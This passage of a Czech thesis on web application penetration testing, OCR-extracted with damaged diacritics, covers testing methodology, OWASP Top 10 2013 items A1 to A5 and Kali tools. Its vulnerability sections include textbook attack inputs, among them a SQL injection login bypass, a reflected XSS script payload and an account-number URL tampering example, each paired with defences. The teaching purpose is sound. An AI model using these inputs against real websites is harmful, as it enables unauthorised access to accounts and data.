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ABSTRAKT

Tato prace je zaméfena na penetracni testovani webovych aplikaci. Teoreticka ¢ast po-
pisuje tuto problematiku a metodologii. V praci je zahrnuta bezpecnostni organizace
, The Open Web Application Security Project” (OWASP), dokument OWASP Top 10 a
prvnich 5 zranitelnosti tohoto dokumentu. Posledni ¢ast uvadi linuxovou distribuci Kali
Linux a nékolik nejpouzivanéjsich penetracnich nastrojd.

Praktickou Cast tvori testovani prvnich péti zranitelnosti z dokumentu OWASP Top 10
2013. Obsahuje popis pouzitého SW pro realizaci Gtokd, virtualni infrastruktury a test
jednotlivych zranitelnosti. Z praktické Casti je vytvorena laboratorni dloha , Penetracni
testovani webovych aplikaci" a dodate¢na tvodni tloha ,Uvod do problematiky pene-
tracniho testovani®.

KLICOVA SLOVA

Penetracni testovani, zranitelnost, bezpeénost, OWASP, Kali Linux, webova aplikace,

SQL.

ABSTRACT

This work is focused on penetration testing of web applications. The theoretical part
describes this issue and methodology. The work includes security organization “The
Open Web Application Security Project” (OWASP), document OWASP Top 10 and the
first 5 vulnerabilities of this document. The last part introduces linux distribution Kali
Linux and the several most used penetration tools.

The practical part consists of testing the first five vulnerabilities in the document OWASP
Top 10 2013. It contains a description of the used SW for the realization of the attacks,
virtual infrastructure and test of each vulnerabilities. From the practical part is created
laboratory task "Penetration testing of web applications" and additional introductory
task "Introduction into penetration testing".

KEYWORDS

Penetration testing, vulnerability, security, OWASP, Kali Linux, web application, SQL.
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UVOD

Bezpecnost internetu, pocitact a sifové komunikace je celosvétové jednim z nejcas-
téji diskutovanych témat 21. stoleti. Hlavnim davodem je, Ze pri nedostatecném
zabezpeceni mohou byt, af uz bézny uzivatel nebo firemni spolec¢nost, vystaveni
riaznym sitovym ttokiim, kde dochézi k odcizeni citlivych nebo soukromych dat,
zneskodnéni serveru z jeho bézné ¢innosti, napadeni socidlnich siti, ziskani kontroly
nad pocitacem atd. Z téchto divodi bylo zavedeno penetracni testovani, které slouzi
k vyhodnocovani zabezpeceni sifovych systémi a prostredki proti pripadnému napa-
deni. Vysledky téchto testl jsou poté prozkoumany a pripadné nedostatky webovych
aplikaci napraveny. Podle neddvné analyzy spolec¢nosti , Veracode®, 86% webovych
aplikaci napsanych ve skriptovacim jazyce PHP obsahuje minimélné jednu cross-site
scripting zranitelnost a 56% nejméné jednu SQL injection zranitelnost.

Prvni kapitola teoretické casti popisuje obecné penetracni testovani, uvadi typy
testil a jednotlivé kroky, podle kterych postupuje penetracni tym pri testu webovych
aplikaci. Druhd kapitola je vénovana bezpecnostni organizaci ,, Open Web Application
Security Project* (OWASP) zabyvajici se bezpecnosti webovych aplikaci, financo-
vanim a vyvojem desitek projektil, z nichz nejvyznamnéjsi je OWASP Top 10, ve
kapitole je popsana linuxova distribuce Kali Linux, ktera je zaméfend na penetracni
testy a obsahuje vice nez 300 nastroju urcenych pro penetracni testovani.

Cilem praktické ¢asti je realizace itokt na webovou aplikaci OWASP Mutillidae
IT a sepsani podrobného rozboru celého pribéhu testovani, ze kterého bude nasledné
vytvorena laboratorni tiloha seznamujici studenty s penetra¢nim testovani webovych
aplikaci. Jednotlivé itoky budou zaméteny na prvnich 5 zranitelnosti z dokumentu
OWASP Top 10 2013.

Vzhledem ke spravné korekci ¢esko-anglického prekladu bude prace v nékterych

¢astech obsahovat anglické pojmy.
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1 PENETRACNI TESTOVANI

Jak jiz bylo uvedeno v iivodu, penetracni testy se provadi za tcelem zjisténi trovné
zabezpeceni sité nebo systému. Nejcastéji si tyto sluzby vyzaduji firmy mensich
i vétsich rozsahii, aby nedochézelo k odcizeni citlivych a nevefejnych dokumenti,
které by v pripadé kradeze mohly vést k financéni ztraté. Osoba provadéjici tyto
testy se nazyva pen-tester nebo také eticky hacker, jehoz cilem je najit slabé zabez-
pecend mista, pomoci nich proniknout do urcené infrastruktury a ziskat kontrolu
nad celym systémem, ¢i se pokusit ziskat citlivé informace. Rozsah testu je limito-
van pridélenymi prostiedky (¢as, finance, persondl), a z tohoto duvodu je potieba
se vzdy zamérit na nejkritictéjsi bezpecnostni mista, ktera predstavuji pro firemni
spolecnost nejvétsi hrozby.

Testovani by mélo zahrnovat vse, kde hrozi riziko nezadouciho priiniku do sys-
tému a odcizeni dat nebo zptsobeni finan¢ni skody.

Mezi tato rizika patii:

o E-mailové systémy

o Vefejné webové stranky

o Pristupova hesla

o DNS systémy

o Ulozisté dat

o Informacni systémy

o Sitové odposlouchavani

o CGI skripty

o LDAP systémy
zejména zakaznici dané spolecnosti, napt. internetové bankovnictvi. Pokud by zde
doslo k odcizeni dat nebo penéz klienta, firma by ztracela povést mezi klienty, a tim

i jeji hodnotu.

1.1 Typy testi

Penetracni testovani kromeé dalsich subkategorii lze rozdélit na 2 zakladni (interni a
externi) [1]:

Interni

Tento test se provadi z vnitini strany sité a predstavuje potencionalniho ttoc¢nika,
ktery se muze vydavat za klienta nebo neloajalniho zaméstnance a néasledné se po-

kusi o proniknuti do sité spolec¢nosti.
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Externi
Tento test se provadi z vnéjsi strany testované oblasti a napodobuje vnéjsi utoky
(napr. toc¢nika z internetu). Vnéjsi penetracni testy se dale rozdéluji na:

e VPN penetracni testy.

o Wi-fi penetracni testy.

o Penetracni testy webovych aplikaci.

Dalsi rozdéleni je podle zptisobu provedeni:

Manualni

Typ testu, ktery je vykondvan manualné. Mezi vyhody patii, Ze test lze zamérit a
prizpusobit pfesné pro urcéitou oblast se specifickymi podminkami. Dalsi vyhodou
je, ze clovék provadéjici test musi mit velmi dobré znalosti problematiky penetrac-
niho testovani, tzn. umi popsat a vysvétlit, co délal, i lidem, ktefi dané problematice
nerozuméji. Nevyhodou je zaroven i jiz zminovana velmi dobra znalost penetrac¢niho

testovani a casova narocnost vzhledem k pripravé takového testu.

Automatizované

Test je vykonavan automaticky prostirednictvim nastroje vytvoreného profesionaly,
kteri se v této oblasti pohybuji dlouhou dobu. Vyhoda tohoto testu je, Ze teste-
rovi staci porozumét pouze tomu, jak se testovaci nastroj ovlada, coz ve vysledku
vede k usetTeni casu oproti manualnimu testu. Nevyhodou je nemoznost otestovat

vSechna zranitelnd mista.

Semiautomatické
Kombinace manualnich a automatizovanych testti snazici se vyuzit vyhody obou

testll a eliminovat nevyhody.

Podle tirovné znalosti o testovaném systému:

Black-box

Nejpouzivanéjsi typ testu, kdy tester napodobuje utoc¢nika z vnéjsi strany, nema
o systému zadné informace a zna jenom vstupy a vystupy. Neni potieba zadna zna-
lost programovaciho jazyka ani zdrojového kédu. Nevyhodou je mit velmi dobré a

siroké znalosti problematiky penetracniho testovani.

White-box

Test, pri kterém ma tester plny pristup k veskerym informacim o systému ¢i siti.
Jinymi slovy znalost vnitini architektury, zdrojového kédu aplikace, typ a pocet pti-
tomnych pocitacovych zarizeni atd. Prakticky jde o kompletni analyzu zdrojového

kédu, v némz se mohou vyskytovat chyby. S pozadovanymi znalostmi umoznuje na-
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jit zranitelna mista v relativné kratké dobé a popripadé kéd optimalizovat pro vyssi
bezpecnost aplikace. Nevyhodou je potfebna znalost programovaciho jazyka, ¢asova

naroc¢nost a uzké zaméreni na kod a architekturu.

Grey-box
Kombinace obou typti testii black-box a white-box. Jedna se o snahu, pouzit co
mozna nejvice vyhod obou testi. Vyuzivaji se znalosti vnitini logiky aplikace a test

probihé ze strany bézného uzivatele nebo potencionalniho titoc¢nika.

1.2 Postup penetracniho testovani

Penetracni testovani a cely jeho pribéh se déli do nékolika fazi [2], [3], jejichz pocet
se pohybuje od ¢ty do sedmi, viz obr. 1.1. Kolik fazi bude pri testovani zahrnuto,
zalezi na zkuSenostech penetra¢niho tymu a pozadavcich organizace. Jeho struktura

je vsak pevné dana a do jisté miry je vzdy stejna, proto zde bude popsano pét fazi.

Planovani

V této fazi dochézi k presnému a podrobnému stanoveni, na jaké bezpecnostni
casti aplikace nebo systému bude test zaméren. Jsou podepsany rizné bezpecnostni
smlouvy a penetrac¢ni tym urci rozsah testu, véetné finanéni/c¢asové naro¢nosti, pii-
padné typ nastroju, které budou pouzity. Déale by tym mél zvazit pripadnd rizika
daného testu, tzn. musi se drzet jasné danych pravidel ve smlouvé a volit takovy

postup, pri kterém nedojde k odhaleni neverejnych nebo tajnych dat organizace.

Objevovani/sbér dat

Féze sbirani dat se povazuje za zacatek penetracniho testovani. Vybrany tym ma za
ukol zjistit co nejvice uziteénych informaci o organizaci a jejich systémech (oteviené
porty, verze operacnich systémi, [P rozsahy, e-mailové zpravy, konfigurace zafi-
zeni, opravnéné osoby, nastavena pravidla firewallu atd.). VSechny tyto informace
lze pomérné lehce ziskat pomoci bézné dostupnych softwarovych nastroju (Nmap,

Xprobe2, Queso apod.).

Odhalovani zranitelnosti

Po tspésném shromézdéni vsech uzitecnych informaci o systému nastava dalsi faze
odhalovani zranitelnosti. Zde se pouzivaji automatizované néastroje s vlastni aktuali-
zovanou databazi (Nessus, Retina, ISS Scanner atd.), které obsahuji velké mnozstvi
zranitelnosti, jejich typy a detaily. Tyto nastroje srovnavaji napr. verze operacnich

systému sitovych prostredki, typ/datum aktualizaci a po porovnani s databazi vy-
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hodnoti pripadné zranitelnosti a nedostatky. V pripadé manualniho testu je potieba,
aby tester nespoléhal jen na nastroje, ale dokazal vyuzit efektivné svoje zkusSenosti

a mél informace ohledné nejnovéjsich zranitelnosti a principu jejich zneuziti.

Exploitace

Féaze, kdy nastava samotny proces prolamovani bezpec¢nostnich mechanizmti a zneu-
zivani zjisténych zranitelnosti v predchozim kroku. Tester se snazi ziskat pristup do
urcitych zabezpecenych oblasti, a pokud je uspésny, muze se mu naskytnout dalsi
mozna cesta, kterd byla diive nedostupnd. V této chvili by se mél tester vratit na

zacatek a pokusit se shromazdit dalsi informace na zakladé nové zjisténych.

Report

Posledni fazi je zprava, ktera shrnuje celkové vysledky penetracniho testovani, véetné
podrobného postupu a obsahuje pripadné doporuceni penetra¢niho tymu na zlepseni
bezpecnosti v kritickych oblastech.

Reconnaissance

Information gathering Prov?gsgtData

Testing

Enviroment
orientation

'

Target Discovery

}

Vulnerability
Identification

If failure,
choose new
target

If succesful,
reorient to
new targets

Attempt to
Exploit
Vulnerabilit

No More
Targets

Reporting Risk Assessment for 4—‘

Findings

Final Report

Obr. 1.1: Metodologie testovani (pfekresleno)
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2 BEZPECNOSTNI ORGANIZACE

Nejznaméjsi organizaci vénujici se bezpecnosti je ,, The Open Web Application Secu-
rity Project“ (OWASP). Je to celosvétova neziskova charitativni nadace, zamérend
na zlepsovani bezpecnosti softwaru. Nadace vznikla 1. prosince 2001 a o 3 roky poz-
déji 21. dubna 2004 se z ni stala neziskova organizace ve Spojenych statech americ-
kych. Jejim cilem je, aby jednotlivci nebo organizace po celém svété méli neomezeny
pristup k informacim o bezpec¢nostnich hrozbach a na jejich zakladé mohli provadét
bezpecnostni opatreni. To znamenad, ze veskeré OWASP nastroje, dokumenty a féra
jsou volné dostupné vsem, kteri se chtéji bud dozvédét vice o bezpecnosti webovych

aplikaci nebo se podilet na bezpec¢nostnim vyvoji [4].

OWASP ma v soucasné dobé pres 200 pobocek po celém svété. Jedna z nich je i
v Ceské republice v Praze pod vedenim Jana Kopeckého. Dale ma OWASP vice néz
142 aktivnich projekti a kazdym dnem jim prichazi zadosti o zalozeni novych.
Nejvyznamnéjsi z nich:
« OWASP CLASP
OWASP WebGoat and WebScarab
OWASP Developers Guide
OWASP Testing Guide
OWASP Top 10
o OWASP Codes of Conduct
Cely ptehled projekti je k dispozici na [5].

2.1 OWASP Top 10

Nejvyznamnéjsi dokument, na jehoz vytvotreni se podili bezpecnostni experti z celého
urcen k bezplatnému pouzivani a je licencovan firmou ,,Creative Commons® licenci
Attribution-ShareAlike 3.0 [7]. Projekt zalozil v roce 2003 Dave Wichers a pod jeho
vedenim vychézi kazdé 3 roky nova verze (od roku 2004 celkem 4) s aktualnimi
hrozbami.

Top 10 zranitelnosti webovych aplikaci v roce 2013:

o Al Injection (Injektovani).

o A2 Broken Authentication and Session Management (Chybné autentizace a

sprava relace).
o A3 Cross-Site Scripting (XSS).
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o A4 Insecure Direct Object References (Nezabezpecené piimé odkazy na ob-
jekty).

o A5 Security Misconfiguration (Nezabezpecena konfigurace).

« A6 Sensitive Data Exposure (Expozice citlivych dat).

o A7 Missing Function Level Access Control (Chyby v fizeni drovni pfistupi).

» A8 Cross-Site Request Forgery (CSRF).

« A9 Using Components with Known Vulnerabilities (Pouziti znamych zranitel-
nych komponent).

o A10 Unvalidated Redirects and Forwards (NeoSetiené presmeérovani a preda-
vani).

V oblasti zabezpeceni aplikaci se tyto hrozby neustale méni, viz obr. 2.1. Kaz-

dym rokem dochazi ke vzniku novych a propracovanéjsich technologii, kde na jejich

zékladé utocnici rozsituji svoje znalosti a dovednosti, které pouziji k dimyslnéjsim

utoktim.
OWASP Top 10 — 2010 (Previous) OWASP Top 10 — 2013 (New)
Al —Injection Al —Injection
A3 — Broken Authentication and Session Management A2 — Broken Authentication and Session Management
A2 — Cross-Site Scripting (XSS) A3 — Cross-Site Scripting (XSS)
A4 - Insecure Direct Object References A4 — Insecure Direct Object References
A6 — Security Misconfiguration A5 — Security Misconfiguration
A7 — Insecure Cryptographic Storage — Merged with A9 2> A6 — Sensitive Data Exposure
A8 — Failure to Restrict URL Access — Broadened into = A7 — Missing Function Level Access Control
A5 — Cross-Site Request Forgery (CSRF) A8 — Cross-Site Request Forgery (CSRF)
<buried in A6: Security Misconfiguration> A9 — Using Known Vulnerable Components
A10 - Unvalidated Redirects and Forwards A10 - Unvalidated Redirects and Forwards
A9 — Insufficient Transport Layer Protection Merged with 2010-A7 into new 2013-A6

Obr. 2.1: Porovnani Top 10 hrozeb 2010/2013

Z uvedeného porovnani je vidét, ze prvni ¢tyTri pozice kromé vymény A2 a A3
zustaly stejné. Vyskyt zranitelnosti A5 (CSRF) poklesl az na pozici A8, je to z di-
vodu snahy vyvojari a organizaci tomuto riziku pokud mozno co nejvice zamezit. A7
spolecné s A9 bylo slouc¢eno a zahrnuje zranitelnost A6 (Sensitive Data Exposure).
Posledni zménou je piidani nové zranitelnosti A9 (Using Components with Known

Vulnerabilities).
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2.2 Zranitelnosti A1-A5 (2013)

V této sekci bude popsano prvnich 5 nejcastéji se vyskytujicich zranitelnosti webo-
vych aplikaci, které budou nasledné v praktické ¢asti demonstrovany a pouzity jako

podklad pro laboratorni tlohy.

A1l - Injection

Nejbéznéjsi typ utoku injection je SQL. Princip ttoku typu SQL injection [8], [9],
[10], [11] je vlozeni vlastnich piikazti do nezabezpeceného vstupu aplikace a pro-
stfednictvim dotazu SELECT jsou tato vstupni data odeslana od klienta na webovy
server, kde dojde k naruseni syntaxe kédu. Pokud je SQL injection tispésné, miize
utocnik ¢ist data z databdze, ménit data databéaze (vkladat, upravovat, mazat), pro-

vadeét administratorské operace s databazi atd.

Utok

Obvykle k utoku dochézi pri prihlasovani do webovych aplikaci. Uzivatel zada své
jméno a heslo, které jsou poslany dotazem SELECT webovému serveru. Pokud za-
dané tudaje souhlasi s tdaji v databazi, je uzivateli pristup povolen, v opacéném
pripadé zamitnut. Pti nedostatecném zabezpeceni vstupti mutze ttoénik vkladat své
vlastni dotazy a dostat pristup do databaze. Na obrazku 2.2 se itoc¢nik prihlasi jako
“OR 1=1; * a heslo zakomentuje */-. Pokud nejsou radné zabezpeceny vstupy, tak
ho webova aplikace prihlasi jako prvniho uzivatele uvedeného v tabulce Users.

Jeden ze zpusobu, jak zjistit, zda-li ma webova aplikace SQL injection zranitel-
nost, je vlozeni neocekavanych znaku jako vstup, které by mohly zménit dotaz tak,
ze bude neplatny. Pokud zaddme znaky, které maji zvlastni vyznam v jazyce SQL a
webova aplikace vygeneruje specifickou chybu, miizeme usuzovat, ze zadany vstupni
znak je pouzivan v dotazu SQL zranitelnym zptisobem.

Mezi tyto znaky patii:

« Apostrof (7) - oznacuje zac¢atek nebo konec dat.

o Pomlcky (-) - oznacuji SQL komentar.

 Strednik (;) - oznacuje konec SQL prikazu.

Nejvice se pouziva jednoducha uvozovka (7). Pokud je cilovd webova stranka
zranitelnd, tak se pri jejim pouziti vygeneruje SQL chyba, ve které se budou vysky-
tovat klicova slova ,SQL® nebo ,MySQL®“ Duvodem chyby je, ze znak (') je bran
jako Tetézcovy oddélovac. Syntakticky je SQL dotaz spustén jako nespravny (obsa-
huje prilis§ mnoho oddélovact) a tudiz databazovy systém vytvori vyjimku (chybu).
Za nejcastéjsi chyby lze oznacit takové, které se tykaji bud databazového systému
MySQL nebo Microsoft SQL Serveru.

Meéjme webovou stranku:
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Cést fetézce .php je indikétor, Ze cilovy databdzovy systém by mohl byt MySQL,
ktery je ve vétsiné pripadi zranitelny proti utoku SQL injection a dale je vidét, ze
cat=1 odkazuje na konkrétni objekt, coz znac¢i metodu GET. Pouzitim neocekava-
ného znaku (’) na konci URL, zméni dotaz tak, Ze webova aplikace vygeneruje chybu

indikujici SQL zranitelnost:

Error: you have an error in your SQL syntax; check the manual that corresponds

to your MySQL server version for the right syntax to use near " at line 1

V této chvili utocnik vi, ze webova aplikace je zranitelna. Muze zkouset vkladat
libovolné dotazy a pokusit se tak ziskat informace nebo kontrolu nad databazi.

Dtive SQL injection nepredstavoval takovou hrozbu, protoze bylo potieba zada-
vat sviij vlastni SQL kéd do webového formulare manualné. V soucasné dobé tomu
je jinak, zejména kvili automatizovanym néstrojim specializovanych pro SQL in-
jection a proto predstavuje nejcastéjsi zranitelnost webovych aplikaci poslednich 6
let. Mnoho velkych firem nevénovalo pozornost této chybé (i pres fakt, ze proti SQL
injection mohou byt webové aplikace témér zcela zabezpeceny), coz vedlo v nékte-
rych ptipadech k velkym finanénim ztratdam nebo odcizeni nevetejnych informaci
[12].

Userdd i itswadesh

Password | newpassword

select ¥ from Users where user_jd= "itswadesh’
and password = ' newpassword *

Userddi* QR 1= 1; /*

Password | ® /-

select ¥ from Users where user_id=""OR1=1; /*"’
and password = " ¥/’

Obr. 2.2: Napadeni pomoci SQL injection
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Obrana

Programming Interface), které nepouziva interpret a poskytuje parametrizované roz-
hrani. Dal$im zptisobem je tzv. escapovani (prevod znaku na jiné odpovidajici znaky)
nebezpecnych znakil jazyku SQL, mezi které patii zejména apostrof, pomlcky a

strednik.

A2 - Broken Authentication and Session Management

Broken Authentication and Session Management [13], [14] zahrnuje vSe, co se tyka
ovéfovani uzivatelti a Tizeni aktivni relace. Silnéjsi metody autentizace existuji a
jsou k dispozici kombinujici SW i HW na principu biometrie nebo kryptografickych
tokent, ale vzhledem k vysokym finanénim nakladiim a naro¢nosti navrhu takového
systému pro webové aplikace jsou velmi casto vyvojovymi tymy opomijeny. Tyto
nedostatky mohou mit za nésledek ohrozeni uzivatelského soukromi nebo prevzeti
kontroly nad spravou systému uctu.

Webové aplikace museji mit zavedené relace pro sledovani zadosti ze strany uzi-
vateli. Protokol HTTP tuto funkci nepodporuje, a i pres skutecnost, ze prostiedi
webovych aplikaci tuto moznost podporuje, vyvojari si preferuji relace vytvaret sami,
coz vede mnohdy ke spousté nevyzadanych chyb. Za casté chyby lze oznacit absenci
sifrovani pfi autentizaci idaji, odhalovani ID relaci v URL, neménnost ID relace po
prihlaseni atd. Pokud nejsou tokeny relaci dostateéné chranény, neni pro utocénika

problém ziskat aktivni relace a vydavat se za uzivatele.

Utok
Pro demonstraci utoku méjme webovou stranku aerolinek, jejichz systém vklada do
URL i ID relace:

http://priklad.com/sale/saleitems;jsessionid=6 KELF6FERTOWPWKDSOS6SD
?dest=Island

Pokud praveé prihlaseny uzivatel bude chtit nékomu poslat tento odkaz o nabidce,
aniz by védél, ze dany odkaz obsahuje ID o vlastni relaci, tak doty¢na osoba, které
byl odkaz poslan pfi jeho pouziti, bude zaroven pouzivat i relaci piivodniho uziva-

tele, a tedy i jeho napt. kreditni kartu.

Obrana
Ke snizeni pravdépodobnosti tohoto typu ttoku, by méli dodrzovat urcita pravidla
vyvojari webovych aplikaci i uzivatelé:

o Sila hesla - kazdé heslo by mélo spliovat podminky minimalni délky a slo-

zitosti tzn. zadani velkého pocatecniho pismena s kombinaci ¢isel, popripadé
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specialnich znakt. Uzivatelé by také meéli ¢asto ménit své hesla a nepouzivat
zadnéa z predchozich.

o Kontrola zmény hesla - mechanizmus zmény hesla by mél byt k dispozici
vsude, kde to vyzaduje situace. Uzivatelé by méli byt povinni pii zméné hesla
zadat staré i nové heslo a systém by mél vyzadovat pri téchto zménach néjakou
formu autentizace (e-mail).

o Pouzivani hesla - uzivatelé by méli mit omezeny pocet pokust pri zadavani
hesla béhem urcité doby. Systém by nemél uvadét, zda-li bylo Spatné zadano
heslo nebo jméno, mél by informovat uzivatele o ¢ase jejich tispésného prihla-
seni nebo naopak uvadét cas a pocet neuspésnych pokust.

e Ulozeni hesla - vsechna ulozena hesla by méla byt néjakym zptsobem Sifro-
vana, aby nemohlo dojit k jejich expozici.

e Ochrana ID relace - pro ochranu celé relace se pouziva technologie SSL.
Pokud systém tuto ochranu poskytuje, je nemozné zachytavani cisel relace
mimo sif. Relace by se nemély vyskytovat v - URL a mély by byt dostatecné
slozité pro zabranéni jejich uhodnuti.

e Seznamy uctua - systémy pro spravu ucta by mély byt navrzeny tak, aby

zabranily neopravnénému nahlizeni do seznamu ¢t a dalSich informaci.

A3 - Cross-Site Scripting (XSS)

Cross-Site Scripting [15], [16] je zranitelnost, kdy se uto¢nik snazi spustit skodlivy
kod (skript) na strané klienta prostfednictvim jeho webového prohlizece. Princip
je takovy, ze utocnik se snazi vyuzit bezpecnostnich chyb ve spoustécich skriptech
dané webové aplikace, pomoci nich ménit vzhled nebo obsah stranky a vytvorit tak
odkazy, které vypadaji jako divéryhodné. Pokud nic netusici uzivatel takovy odkaz
pouzije, tak dojde zaroven ke spusténi skodlivého skriptu, protoze webové prohlizece
neposkytuji zadny zptisob, kterym by zjistily, ze dany skript je nedtivéryhodny, coz
ma za nasledek umoznéni pristupu k probihajicim relacim, soukromym informacim
ulozenych v prohlize¢i nebo presmérovani na jiné stranky apod. Tato metoda se
nazyva reflected.

XSS utoky jsou rozdéleny do tfech kategorii:

o Refleted - utok typu Reflected je nejbéznéji pouzivany. Princip spociva v tom,
ze skodlivy kdd je obsazen ptimo v URL odkazu, ktery je odrazen od webového
serveru a dodan obéti jinou cestou napft. prostfednictvim e-mailovych adres.
Pokud uzivatel takovy odkaz pouzije, prohlize¢ vykona i skodlivy skript, pro-
toze zdroj bude uveden jako divéryhodny.
vlozeny skodlivy kéd, je permanentné ulozen na webovém serveru. Pokud uzi-

vatel zazada server o néjakou uloZzenou informaci, tak spolu s touto informaci
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se spusti i nebezpecny skript. Nejcastéji se nebezpecny kod vklada na webové
stranky, které pouziva velké mnozstvi uzivateli z divodu, ze mtize postihnout
vsechny. Mezi tyto stranky lze zaradit napt. rizna féra, rejstiiky, socidlni sité
atd.

« DOM Based - tutok typu DOM Based je velice podobny ttoku reflected s tim
rozdilem, ze skodlivy kod neni odesilan na webovy server, ale je zpracovan az

na strané klienta prostfednictvim JavaScriptu.

Utok
Pro demonstraci utoku typu reflected méjme webovou stranku pouzivajici skripto-

vaci jazyk PHP s XSS zranitelnostmi. Piivodni tvar odkazu vypada takto:

http://priklad.com/menu.php?user=xx

Nékde ve zdrojovém kddu se vyskytuje nasledujici radek:

<7?php echo $§ GET['user’]; 7>

Z vyse uvedeného radku je ziejmé, ze pro uspésny utok staci upravit odkaz, aby

vypadal takto:

http: //priklad.com /menu.php?user=<script>alert('Utok XSS je tisp&sny.);< /sc
ript>

Pokud obét takovy odkaz pouzije, zobrazi se vystrazné okno alert s napisem
,Utok XSS je tsp&sny“ V praxi se viak pouzivaji nebezpetné skripty, které mohou

zpusobit urc¢itou formu skody na strané uzivatele.

Obrana
Nejlepsim zptisobem, jak se proti XSS ttoklim branit, je escapovani vsech nedive-
ryhodnych dat a znakt v kontextu HTML. Dale se doporucuje pouzivat validace

vstupt a automatické sanitizac¢ni knihovny.

A4 - Insecure Direct Object References

Insecure Direct Object References [17] nastava, pokud vyvojar zanechd nezabezpe-
¢ené odkazy na interni objekty (kli¢ databéze, adresar, soubor atd.). Potencialni
hrozbu poté predstavuje systémem autorizovany uzivatel, ktery muize meénit para-
metry odkazujici na urcité objekty a dostat se tak k informacim, ke kterym nema

opravnény pristup.
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Utok
Meéjme webovou stranku pro internetové bankovnictvi, ktera pouziva piimé od-

kazy na 1ucty. Uzivatel je prihlasen ke svému tuctu, jehoz URL vypada nasledovneé:

http://priklad.com/accounts/details?accountnumber=235964658950

Utet autorizovaného uzivatele mé &slo 235964658950. Pokud by vSak zaménil

v odkazu posledni ¢islici za kterékoliv jiné ¢islo:

http://priklad.com/accounts/details?accountnumber=235964658951

Mohlo by se stat, ze dostane pristup k i¢tu a informacim, ke kterym neméa oprav-

néni.

Obrana
Principem ochrany proti této zranitelnosti je nutnost dodrzovat urc¢ita pravidla:
o Vyhnout se pouzivani primych odkazi na objekty a pouzivat neprimé odkazy
pro kazdou relaci ¢i uzivatele zvlast.
o Zamezit viditelnosti aktualniho ID objektu.
o Kontrola opravnéni pii pouziti ptimych odkazi, zda ma pii vstupu dany uzi-

vatel prava k danému objektu.

A5 - Security Misconfiguration

Security Misconfiguration [18] je zranitelnost, ktera souvisi s bezpecnosti webovych
serveru (ISS, Apache) a databdzovymi servery, mezi které patii zejména Microsoft
SQL Server a MySQL. Spravu a konfiguraci serverti maji na starost administratori,
jejichz tkolem je udrzet bezpecnost téchto sluzeb udrzovanim aktualniho softwaru,
zakazanim nepotiebnych sluzeb, ménit vychozi hesla, nastaveni pravidel firewallu
atd.

Utok
Pro demonstraci titoku méjme webovou aplikaci, ktera pti vypisu chybového hlaseni
zobrazi nasledujici informace, viz obr. 2.3 [19]

Z tohoto vypisu chybového hlaseni mize utocnik zjistit nize uvedené informace
a vyuzit je pro svuj utok:

1. Informace o hodnoté a nazvu parametru.

2. Informace o vnitini implementaci parametru ID.

3. Citlivé detaily o struktufe kddu.

4. Fyzické umisténi souboru na pocitaci vyvojare.
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/[ Value cannot be null.<br... > \"-\{h

« ¢ | @ localhostas o * @9 A

Server Error in '/' Application.

Value cannot be null,

Parameter name: String . %

Description: An unhandied exception cccurred during the execution of the current web request Please review the stack trace for more infarmation about
the error and where it originated in the code

Exception Details: System ArgumeniNulException: Valse cannct be nul
Parameter name: Siring

Source Error:

Lina 12: protected void Page_Load(object sender, Eventargs e)

Line 13:

Line 14: int id = int.Parse(Request.QueryString["Id"]); "*._' p.
Line 15: f/ The admin ID has special ri?‘ts over the system.

Line 16: var hasadminRights = id == B37235271; «f—— 3,

Source File: c\PropcisiVunerabiedppicationiifetiDefaul aspxcs  Line: 18— ‘ 5,
Stack Trace:

[ArgumentiullException; Value cannot be null.

Parameter name: 5tring]
System.Number . StringToNumber (String str, NumberStyles options, NumberBufferd& number, NumberFo
System_Number .ParseInt32(5tring s, NumberStyles style, NumberFormatInfo info) +224
web._Default.Page_Load(Object sender, Eventargs e) in c:‘Projects'Vulnerabledpplication'web\C
System.wWeb.Util.CalliHelper . EventArgFunctionCaller (IntPtr fp, Object o, Object t, EventArgs o
System.wWeb.UI.Control.LoadRecursive() +71 ) i .
System.web.UI.Page.ProcessRequestMain{Boolean includeStagesBeforeisyncPoint, Boolean includes

Version Information: Mcrosoft NET Framewerk Version:4.0.30318; ASPNET Version:4.0.30319.1 ‘_ &

o LT} b

Obr. 2.3: Chybovy vypis aplikace

5. Seznam metod volanych pred chybou.

6. Verze NET Framework pouzivany aplikaci.

Obrana

Doporucena obrana proti tomuto typu ttoku je véasné nasazeni a udrzovani novych
softwarovych aktualizaci a oprav, zajistit silnou architekturu aplikace, pravidelné
skenovani pro odhaleni chybné konfigurace nebo zastaralych aktualizaci, casto ménit

vychozi hesla, omezit vypis chybovych hlaseni a vypnuti moznosti vypisu adresar.
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3 KALI LINUX

Kali Linux [20] je linuxova open-source distribuce, zalozena na Debianu, slouzici
pro penetracni testovani a bezpecnostni prizkum webovych aplikaci. Obsahuje pres
300 penetracnich nastroju urcenych pro tyto tcely. Kali Linux byl oficidlné spustén
13. dubna 2013 a vznikl jako kompletni prestavba linuxové distribuce BackTrack
[21], ktery jiz nadale neni vyvijen. Projekt zalozil Mati Aharoni a Devon Kearns
z organizace ,, Offensive Security“ [22], kterd ma na starosti udrzbu a financovani.
Systém je volné ke stazeni na oficidlnich strankach https://www.kali.org/
downloads v 32/64 bitové verzi nebo obrazu (armel, armhf) zalozeném na ARM
architekture. Zprovoznéni lze udélat nékolika zpusoby: instalaci na pevny disk, vyu-
ziti externiho zarizeni (flash disk, externi disk) bez nutnosti instalace nebo spusténim
pomoci softwaru VMware, popiipadé Oracle VM VirtualBox jako virtualni systém.
Nedavno (11. zafi 2015) byla spusténa nova verze Kali Linux 2.0. Mezi hlavni
zmény oproti predchozi verzi 1.1.0a patii pouziti kernelu 4.0 zalozeného na distri-
buci Debian Jessie, rozsifeni podpory hardware/sitovych ovladacti a desktopovych

prostiedi (gnome, kde, xfce, mate, el7, Ixde, i3wm).

3.1 Nastroje Kali Linux

Vzhledem k velkému mnozstvi nastroji pro penetracni testovani webovych aplikaci,
viz obr. 3.1, budou nasledovné popsany pouze nékteré z nejpouzivanéjsich. Jako

zdroj informaci je pouzit prehled nastroji [23] a jejich oficialni stranky.

Metasploit Framework

Metasploit Framework je open-source nastroj, umoznujici bezpecné simulovat utoky
na sif k odhaleni bezpecnostnich chyb a provéreni sily zabezpeceni webovych apli-
kaci. Ovlada se pres piikazovy radek nebo pres grafické uzivatelské prostiedi (GUI)
a vzhledem k jeho komplexnosti dokaZe také pracovat s Armitage.!. Obsahuje pfes
1300 exploitt, které kazdym dnem pribyvaji a vice nez 2000 moduli. Projekt ma
na starosti organizace ,,Rapid7“, poskytujici kromé zakladni verze Metasploit Fra-
